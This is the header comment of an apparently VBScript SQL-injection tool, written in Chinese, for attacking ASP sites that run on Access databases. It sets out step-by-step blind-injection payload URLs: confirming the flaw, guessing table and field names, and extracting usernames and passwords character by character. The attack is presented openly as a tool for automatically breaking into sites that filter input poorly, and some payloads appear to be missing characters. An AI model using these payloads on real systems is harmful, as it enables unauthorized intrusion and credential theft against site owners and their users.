' SQL注入之脚本篇-FOR ACCESS数据库 by 晴阳(Liuxy)
'==========================================================================
'通过脚本对因过滤字符不严的asp页面进行自动攻击，能自动猜测常用表名，字段名和用户，密码
'经修改也能猜测其他不常见的表名，字段名和用户，密码，不过速度不会很快
'1->.攻击前检测是否存在漏洞。若URL="http://ip/list.asp?id=1"则可构造这样的URL来检测
'http://ip/list.asp?id=1 http://ip/list.asp?id=1 and 1=1 http://ip/list.asp?id=1 and 1=0
'若两种情况与返回的正文不一致，则表明一定存在sql注入漏洞~~~恭喜恭喜！
'2->.检测表名 通过提交http://ip/list.asp?id=1 and exists (select * from ptable)来检测是否存在表pTable
'3->.检测字段名 通过提交http://ip/list.asp?id=1 and 0(select count(pField) from ptable)
'4->.检测用户和密码 http://ip/list.asp?id=1 and exists (select * from Tablename where user'1') 这里的user为常用字段
'http://ip/list.asp?id=1 and exists (select * from Tablename where user=puser and len(pwd)>?)
'http://ip/list.asp?id=1 and exists (select * from Tablename where user=Username and asc(Mid(pwd,i))>?)
